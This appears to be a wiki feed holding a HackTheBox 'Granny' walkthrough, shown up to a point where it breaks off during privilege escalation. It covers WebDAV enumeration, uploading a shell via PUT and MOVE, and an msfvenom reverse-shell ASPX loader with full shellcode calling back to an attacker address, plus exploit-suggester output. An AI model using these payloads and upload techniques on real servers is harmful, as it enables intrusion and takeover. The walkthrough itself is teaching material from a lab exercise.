<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FGranny</id>
	<title>Write-ups/HTB/Granny - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FGranny"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Granny&amp;action=history"/>
	<updated>2026-04-21T15:22:46Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Write-ups/HTB/Granny&amp;diff=1179&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 20:06, 19 January 2022</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Granny&amp;diff=1179&amp;oldid=prev"/>
		<updated>2022-01-19T20:06:35Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Infobox WriteUp&lt;br /&gt;
| name = Granny&lt;br /&gt;
| platform = HackTheBox&lt;br /&gt;
| os = Windows&lt;br /&gt;
| difficulty = Easy&lt;br /&gt;
| techniques = WebDAV, IIS, Token Kidnapping&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-110.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This is a Windows box which have a vulnerable IIS webserver running. This webserver allowed different HTTP methods such as PUT, MOVE, PROPFIND. So it was possible to upload a shell. I used &amp;#039;&amp;#039;&amp;#039;davtest&amp;#039;&amp;#039;&amp;#039; which tries uploading executables and files that can give us remote code execution. To privilege escalate I had to be creative using a exploit that could give me command injection as NT AUTHORITY\SYSTEM and from there running a payload that would grant me a privileged shell.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Enumeration ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
First lets start with an NMAP scan.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/granny]&lt;br /&gt;
└─# cat nmap.result.nmap&lt;br /&gt;
# Nmap 7.92 scan initiated Sat Jan 15 16:18:20 2022 as: nmap -sC -sV -p- --min-rate 10000 -oA nmap.result 10.10.10.15&lt;br /&gt;
Nmap scan report for 10.10.10.15&lt;br /&gt;
Host is up (0.034s latency).&lt;br /&gt;
Not shown: 65534 filtered tcp ports (no-response)&lt;br /&gt;
PORT   STATE SERVICE VERSION&lt;br /&gt;
80/tcp open  http    Microsoft IIS httpd 6.0&lt;br /&gt;
|_http-title: Under Construction&lt;br /&gt;
| http-methods:&lt;br /&gt;
|_  Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT&lt;br /&gt;
| http-webdav-scan:&lt;br /&gt;
|   Server Type: Microsoft-IIS/6.0&lt;br /&gt;
|   WebDAV type: Unknown&lt;br /&gt;
|   Server Date: Sat, 15 Jan 2022 21:20:34 GMT&lt;br /&gt;
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK&lt;br /&gt;
|_  Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH&lt;br /&gt;
|_http-server-header: Microsoft-IIS/6.0&lt;br /&gt;
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows&lt;br /&gt;
&lt;br /&gt;
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .&lt;br /&gt;
# Nmap done at Sat Jan 15 16:18:41 2022 -- 1 IP address (1 host up) scanned in 21.11 seconds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Only port &amp;#039;&amp;#039;&amp;#039;80 &amp;#039;&amp;#039;&amp;#039;open. The webserver is &amp;#039;&amp;#039;&amp;#039;IIS httpd 6.0&amp;#039;&amp;#039;&amp;#039;. Under &amp;#039;&amp;#039;&amp;#039;Allowed Methods&amp;#039;&amp;#039;&amp;#039; you can see all the HTTP methods we could use. The PUT method would allow us to upload a file, possibly a reverse shell.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We will use davtest to test WebDAV to see what kind of files we&amp;#039;re allowed to upload.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
DAVTest tests WebDAV enabled servers by uploading test executable files, and then (optionally) uploading files which allow for command execution or other actions directly on the target. It is meant for penetration testers to quickly and easily determine if enabled DAV services are exploitable.&lt;br /&gt;
https://www.kali.org/tools/davtest/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
But first, to understand whats happening, lets open up burpsuite and create a redirect.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220118205750.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220118205809.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This will bind port 80 to our loopback addrees (localhost(127.0.0.1)), and redirect traffic to port 80 and IP 10.10.10.15.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/…/Desktop/HTB/granny/iis6-exploit-2017-CVE-2017-7269]&lt;br /&gt;
└─# davtest -url http://10.10.10.15&lt;br /&gt;
********************************************************&lt;br /&gt;
 Testing DAV connection&lt;br /&gt;
OPEN            SUCCEED:                http://10.10.10.15&lt;br /&gt;
********************************************************&lt;br /&gt;
NOTE    Random string for this session: uGPP82XIK&lt;br /&gt;
********************************************************&lt;br /&gt;
 Creating directory&lt;br /&gt;
MKCOL           SUCCEED:                Created http://10.10.10.15/DavTestDir_uGPP82XIK&lt;br /&gt;
********************************************************&lt;br /&gt;
 Sending test files&lt;br /&gt;
PUT     cfm     SUCCEED:        http://10.10.10.15/DavTestDir_uGPP82XIK/davtest_uGPP82XIK.cfm&lt;br /&gt;
PUT     aspx    FAIL&lt;br /&gt;
PUT     jhtml   SUCCEED:        http://10.10.10.15/DavTestDir_uGPP82XIK/davtest_uGPP82XIK.jhtml&lt;br /&gt;
PUT     cgi     FAIL&lt;br /&gt;
PUT     jsp     SUCCEED:        http://10.10.10.15/DavTestDir_uGPP82XIK/davtest_uGPP82XIK.jsp&lt;br /&gt;
PUT     php     SUCCEED:        http://10.10.10.15/DavTestDir_uGPP82XIK/davtest_uGPP82XIK.php&lt;br /&gt;
PUT     asp     FAIL&lt;br /&gt;
PUT     html    SUCCEED:        http://10.10.10.15/DavTestDir_uGPP82XIK/davtest_uGPP82XIK.html&lt;br /&gt;
PUT     txt     SUCCEED:        http://10.10.10.15/DavTestDir_uGPP82XIK/davtest_uGPP82XIK.txt&lt;br /&gt;
PUT     pl      SUCCEED:        http://10.10.10.15/DavTestDir_uGPP82XIK/davtest_uGPP82XIK.pl&lt;br /&gt;
PUT     shtml   FAIL&lt;br /&gt;
********************************************************&lt;br /&gt;
 Checking for test file execution&lt;br /&gt;
EXEC    cfm     FAIL&lt;br /&gt;
EXEC    jhtml   FAIL&lt;br /&gt;
EXEC    jsp     FAIL&lt;br /&gt;
EXEC    php     FAIL&lt;br /&gt;
EXEC    html    SUCCEED:        http://10.10.10.15/DavTestDir_uGPP82XIK/davtest_uGPP82XIK.html&lt;br /&gt;
EXEC    txt     SUCCEED:        http://10.10.10.15/DavTestDir_uGPP82XIK/davtest_uGPP82XIK.txt&lt;br /&gt;
EXEC    pl      FAIL&lt;br /&gt;
&lt;br /&gt;
********************************************************&lt;br /&gt;
/usr/bin/davtest Summary:&lt;br /&gt;
Created: http://10.10.10.15/DavTestDir_uGPP82XIK&lt;br /&gt;
PUT File: http://10.10.10.15/DavTestDir_uGPP82XIK/davtest_uGPP82XIK.cfm&lt;br /&gt;
PUT File: http://10.10.10.15/DavTestDir_uGPP82XIK/davtest_uGPP82XIK.jhtml&lt;br /&gt;
PUT File: http://10.10.10.15/DavTestDir_uGPP82XIK/davtest_uGPP82XIK.jsp&lt;br /&gt;
PUT File: http://10.10.10.15/DavTestDir_uGPP82XIK/davtest_uGPP82XIK.php&lt;br /&gt;
PUT File: http://10.10.10.15/DavTestDir_uGPP82XIK/davtest_uGPP82XIK.html&lt;br /&gt;
PUT File: http://10.10.10.15/DavTestDir_uGPP82XIK/davtest_uGPP82XIK.txt&lt;br /&gt;
PUT File: http://10.10.10.15/DavTestDir_uGPP82XIK/davtest_uGPP82XIK.pl&lt;br /&gt;
Executes: http://10.10.10.15/DavTestDir_uGPP82XIK/davtest_uGPP82XIK.html&lt;br /&gt;
Executes: http://10.10.10.15/DavTestDir_uGPP82XIK/davtest_uGPP82XIK.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Unfourtunatly we&amp;#039;re not allowed to PUT aspx on the webserver, however we&amp;#039;re allowed to use HTTP MOVE method. So we can upload a payload with HTML extension, and move it to ASPX extension. I&amp;#039;ll use burp suite for that.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Initial access ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
First lets test using the PUT method.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220118205511.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220118205525.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
That worked. So now, lets try and generate a msfvenom payload, upload it to the webserver, move it to aspx extension and visit the website.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/usr/share/nmap/scripts]&lt;br /&gt;
└─# msfvenom -p windows/shell_reverse_tcp -f aspx lhost=10.10.14.17 lport=4444&lt;br /&gt;
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload&lt;br /&gt;
[-] No arch selected, selecting arch: x86 from the payload&lt;br /&gt;
No encoder specified, outputting raw payload&lt;br /&gt;
Payload size: 324 bytes&lt;br /&gt;
Final size of aspx file: 2729 bytes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    private static Int32 MEM_COMMIT=0x1000;&lt;br /&gt;
    private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;&lt;br /&gt;
&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);&lt;br /&gt;
&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);&lt;br /&gt;
&lt;br /&gt;
    protected void Page_Load(object sender, EventArgs e)&lt;br /&gt;
    {&lt;br /&gt;
        byte[] fC1 = new byte[324] {&lt;br /&gt;
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,&lt;br /&gt;
0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,&lt;br /&gt;
0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,&lt;br /&gt;
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,&lt;br /&gt;
0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,&lt;br /&gt;
0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,&lt;br /&gt;
0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,&lt;br /&gt;
0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x0a,0x0a,0x0e,0x11,0x68,0x02,0x00,0x11,0x5c,0x89,&lt;br /&gt;
0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,&lt;br /&gt;
0x56,0xff,0xd5,0x68,0x63,0x6d,0x64,0x00,0x89,0xe3,0x57,0x57,0x57,0x31,0xf6,0x6a,0x12,0x59,0x56,0xe2,0xfd,0x66,0xc7,0x44,0x24,&lt;br /&gt;
0x3c,0x01,0x01,0x8d,0x44,0x24,0x10,0xc6,0x00,0x44,0x54,0x50,0x56,0x56,0x56,0x46,0x56,0x4e,0x56,0x56,0x53,0x56,0x68,0x79,0xcc,&lt;br /&gt;
0x3f,0x86,0xff,0xd5,0x89,0xe0,0x4e,0x56,0x46,0xff,0x30,0x68,0x08,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,&lt;br /&gt;
0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5 };&lt;br /&gt;
&lt;br /&gt;
        IntPtr fWWG4NkmQz_Q = VirtualAlloc(IntPtr.Zero,(UIntPtr)fC1.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
        System.Runtime.InteropServices.Marshal.Copy(fC1,0,fWWG4NkmQz_Q,fC1.Length);&lt;br /&gt;
        IntPtr zjgG_tR3RI2 = IntPtr.Zero;&lt;br /&gt;
        IntPtr r7uxHqKE = CreateThread(IntPtr.Zero,UIntPtr.Zero,fWWG4NkmQz_Q,IntPtr.Zero,0,ref zjgG_tR3RI2);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== PUT payload in /aghanim.html ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220118210908.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== MOVE /aghanim.html to /aghanim1.aspx ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220118210601.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And now when we visit http://10.10.10.15/aghanim1.aspx, our netcat listener will have a connection.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220118210812.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Privilege Escalation ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll use Windows Exploit suggester. In order to use that I have to run &amp;#039;&amp;#039;&amp;#039;systeminfo&amp;#039;&amp;#039;&amp;#039; on the target and copy it to my local attacker machine. So there is no need to transfer a payload to the target.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From the output below we can see that this is a &amp;#039;&amp;#039;&amp;#039;Windows Server 2003 Service Pack 2 build 2003&amp;#039;&amp;#039;&amp;#039;. The system architect is x86.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
systeminfo&lt;br /&gt;
&lt;br /&gt;
Host Name:                 GRANNY&lt;br /&gt;
OS Name:                   Microsoft(R) Windows(R) Server 2003, Standard Edition&lt;br /&gt;
OS Version:                5.2.3790 Service Pack 2 Build 3790&lt;br /&gt;
OS Manufacturer:           Microsoft Corporation&lt;br /&gt;
OS Configuration:          Standalone Server&lt;br /&gt;
OS Build Type:             Uniprocessor Free&lt;br /&gt;
Registered Owner:          HTB&lt;br /&gt;
Registered Organization:   HTB&lt;br /&gt;
Product ID:                69712-296-0024942-44782&lt;br /&gt;
Original Install Date:     4/12/2017, 5:07:40 PM&lt;br /&gt;
System Up Time:            0 Days, 0 Hours, 5 Minutes, 12 Seconds&lt;br /&gt;
System Manufacturer:       VMware, Inc.&lt;br /&gt;
System Model:              VMware Virtual Platform&lt;br /&gt;
System Type:               X86-based PC&lt;br /&gt;
Processor(s):              1 Processor(s) Installed.&lt;br /&gt;
                           [01]: x86 Family 23 Model 1 Stepping 2 AuthenticAMD ~1999 Mhz&lt;br /&gt;
BIOS Version:              INTEL  - 6040000&lt;br /&gt;
Windows Directory:         C:\WINDOWS&lt;br /&gt;
System Directory:          C:\WINDOWS\system32&lt;br /&gt;
Boot Device:               \Device\HarddiskVolume1&lt;br /&gt;
System Locale:             en-us;English (United States)&lt;br /&gt;
Input Locale:              en-us;English (United States)&lt;br /&gt;
Time Zone:                 (GMT+02:00) Athens, Beirut, Istanbul, Minsk&lt;br /&gt;
Total Physical Memory:     1,023 MB&lt;br /&gt;
Available Physical Memory: 802 MB&lt;br /&gt;
Page File: Max Size:       2,470 MB&lt;br /&gt;
Page File: Available:      2,338 MB&lt;br /&gt;
Page File: In Use:         132 MB&lt;br /&gt;
Page File Location(s):     C:\pagefile.sys&lt;br /&gt;
Domain:                    HTB&lt;br /&gt;
Logon Server:              N/A&lt;br /&gt;
Hotfix(s):                 1 Hotfix(s) Installed.&lt;br /&gt;
                           [01]: Q147222&lt;br /&gt;
Network Card(s):           N/A&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And running Windows Exploit suggester&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/opt/Windows-Exploit-Suggester]&lt;br /&gt;
└─# python2 windows-exploit-suggester.py --systeminfo sys.txt -d 2022-01-14-mssb.xls&lt;br /&gt;
[*] initiating winsploit version 3.3...&lt;br /&gt;
[*] database file detected as xls or xlsx based on extension&lt;br /&gt;
[*] attempting to read from the systeminfo input file&lt;br /&gt;
[+] systeminfo input file read successfully (ascii)&lt;br /&gt;
[*] querying database file for potential vulnerabilities&lt;br /&gt;
[*] comparing the 1 hotfix(es) against the 356 potential bulletins(s) with a database of 137 known exploits&lt;br /&gt;
[*] there are now 356 remaining vulns&lt;br /&gt;
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin&lt;br /&gt;
[+] windows version identified as &amp;#039;Windows 2003 SP2 32-bit&amp;#039;&lt;br /&gt;
[*]&lt;br /&gt;
[M] MS15-051: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (3057191) - Important&lt;br /&gt;
[*]   https://github.com/hfiref0x/CVE-2015-1701, Win32k Elevation of Privilege Vulnerability, PoC&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/37367/ -- Windows ClientCopyImage Win32k Exploit, MSF&lt;br /&gt;
[*]&lt;br /&gt;
[E] MS15-010: Vulnerabilities in Windows Kernel-Mode Driver Could Allow Remote Code Execution (3036220) - Critical&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows 8.1 - win32k Local Privilege Escalation (MS15-010), PoC&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/37098/ -- Microsoft Windows - Local Privilege Escalation (MS15-010), PoC&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows win32k Local Privilege Escalation (MS15-010), PoC&lt;br /&gt;
[*]&lt;br /&gt;
[E] MS14-070: Vulnerability in TCP/IP Could Allow Elevation of Privilege (2989935) - Important&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35936/ -- Microsoft Windows Server 2003 SP2 - Privilege Escalation, PoC&lt;br /&gt;
[*]&lt;br /&gt;
[E] MS14-068: Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780) - Critical&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35474/ -- Windows Kerberos - Elevation of Privilege (MS14-068), PoC&lt;br /&gt;
[*]&lt;br /&gt;
[M] MS14-064: Vulnerabilities in Windows OLE Could Allow Remote Code Execution (3011443) - Critical&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/37800// -- Microsoft Windows HTA (HTML Application) - Remote Code Execution (MS14-064), PoC&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35308/ -- Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / Powershell VirtualAlloc (MS14-064), PoC&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35229/ -- Internet Explorer &amp;lt;= 11 - OLE Automation Array Remote Code Execution (#1), PoC&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35230/ -- Internet Explorer &amp;lt; 11 - OLE Automation Array Remote Code Execution (MSF), MSF&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35235/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python, MSF&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35236/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution, MSF&lt;br /&gt;
[*]&lt;br /&gt;
[M] MS14-062: Vulnerability in Message Queuing Service Could Allow Elevation of Privilege (2993254) - Important&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/34112/ -- Microsoft Windows XP SP3 MQAC.sys - Arbitrary Write Privilege Escalation, PoC&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/34982/ -- Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation&lt;br /&gt;
[*]&lt;br /&gt;
[M] MS14-058: Vulnerabilities in Kernel-Mode Driver Could Allow Remote Code Execution (3000061) - Critical&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35101/ -- Windows TrackPopupMenu Win32k NULL Pointer Dereference, MSF&lt;br /&gt;
[*]&lt;br /&gt;
[E] MS14-040: Vulnerability in Ancillary Function Driver (AFD) Could Allow Elevation of Privilege (2975684) - Important&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/39525/ -- Microsoft Windows 7 x64 - afd.sys Privilege Escalation (MS14-040), PoC&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/39446/ -- Microsoft Windows - afd.sys Dangling Pointer Privilege Escalation (MS14-040), PoC&lt;br /&gt;
[*]&lt;br /&gt;
[E] MS14-035: Cumulative Security Update for Internet Explorer (2969262) - Critical&lt;br /&gt;
[E] MS14-029: Security Update for Internet Explorer (2962482) - Critical&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/34458/&lt;br /&gt;
[*]&lt;br /&gt;
[E] MS14-026: Vulnerability in .NET Framework Could Allow Elevation of Privilege (2958732) - Important&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35280/, -- .NET Remoting Services Remote Command Execution, PoC&lt;br /&gt;
[*]&lt;br /&gt;
[M] MS14-012: Cumulative Security Update for Internet Explorer (2925418) - Critical&lt;br /&gt;
[M] MS14-009: Vulnerabilities in .NET Framework Could Allow Elevation of Privilege (2916607) - Important&lt;br /&gt;
[E] MS14-002: Vulnerability in Windows Kernel Could Allow Elevation of Privilege (2914368) - Important&lt;br /&gt;
[E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important&lt;br /&gt;
[M] MS13-097: Cumulative Security Update for Internet Explorer (2898785) - Critical&lt;br /&gt;
[M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical&lt;br /&gt;
[M] MS13-080: Cumulative Security Update for Internet Explorer (2879017) - Critical&lt;br /&gt;
[M] MS13-071: Vulnerability in Windows Theme File Could Allow Remote Code Execution (2864063) - Important&lt;br /&gt;
[M] MS13-069: Cumulative Security Update for Internet Explorer (2870699) - Critical&lt;br /&gt;
[M] MS13-059: Cumulative Security Update for Internet Explorer (2862772) - Critical&lt;br /&gt;
[M] MS13-055: Cumulative Security Update for Internet Explorer (2846071) - Critical&lt;br /&gt;
[M] MS13-053: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (2850851) - Critical&lt;br /&gt;
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical&lt;br /&gt;
[E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP &amp;amp; EMET 5., PoC&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP &amp;amp; EMET 5.0 Bypass (MS12-037), PoC&lt;br /&gt;
[*]&lt;br /&gt;
[M] MS11-080: Vulnerability in Ancillary Function Driver Could Allow Elevation of Privilege (2592799) - Important&lt;br /&gt;
[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important&lt;br /&gt;
[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important&lt;br /&gt;
[M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical&lt;br /&gt;
[M] MS10-015: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (977165) - Important&lt;br /&gt;
[M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical&lt;br /&gt;
[M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical&lt;br /&gt;
[M] MS09-065: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (969947) - Critical&lt;br /&gt;
[M] MS09-053: Vulnerabilities in FTP Service for Internet Information Services Could Allow Remote Code Execution (975254) - Important&lt;br /&gt;
[M] MS09-020: Vulnerabilities in Internet Information Services (IIS) Could Allow Elevation of Privilege (970483) - Important&lt;br /&gt;
[M] MS09-004: Vulnerability in Microsoft SQL Server Could Allow Remote Code Execution (959420) - Important&lt;br /&gt;
[M] MS09-002: Cumulative Security Update for Internet Explorer (961260) (961260) - Critical&lt;br /&gt;
[M] MS09-001: Vulnerabilities in SMB Could Allow Remote Code Execution (958687) - Critical&lt;br /&gt;
[M] MS08-078: Security Update for Internet Explorer (960714) - Critical&lt;br /&gt;
[*] done&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the ouput above you get a list of many vulnerabilites due to not patched system. I will use this exploit to try and elevate my privilege. https://www.exploit-db.com/exploits/6705&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
Basically if you can run code under any service in Win2k3 then you can own Windows, this is because Windows&lt;br /&gt;
services accounts can impersonate. Other process (not services) that can impersonate are IIS 6 worker processes&lt;br /&gt;
so if you can run code from an ASP .NET or classic ASP web application then you can own Windows too. If you provide&lt;br /&gt;
shared hosting services then I would recomend to not allow users to run this kind of code from ASP.&lt;br /&gt;
HTTPS://WWW.EXPLOIT-DB.COM/EXPLOITS/6705&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Re4son/Churrasco Churrasco] have made a &amp;#039;&amp;#039;&amp;#039;exe&amp;#039;&amp;#039;&amp;#039; file I can use.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So first, I download the exe file on my attacker machine, spin up a &amp;#039;&amp;#039;&amp;#039;smbserver.py &amp;#039;&amp;#039;&amp;#039;and run the exe file on the target machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/granny]&lt;br /&gt;
└─# smbserver.py share /home/aghanim/Desktop/HTB/granny/                                                                                                                                                                              130 ⨯&lt;br /&gt;
Impacket v0.9.25.dev1+20220105.151306.10e53952 - Copyright 2021 SecureAuth Corporation&lt;br /&gt;
&lt;br /&gt;
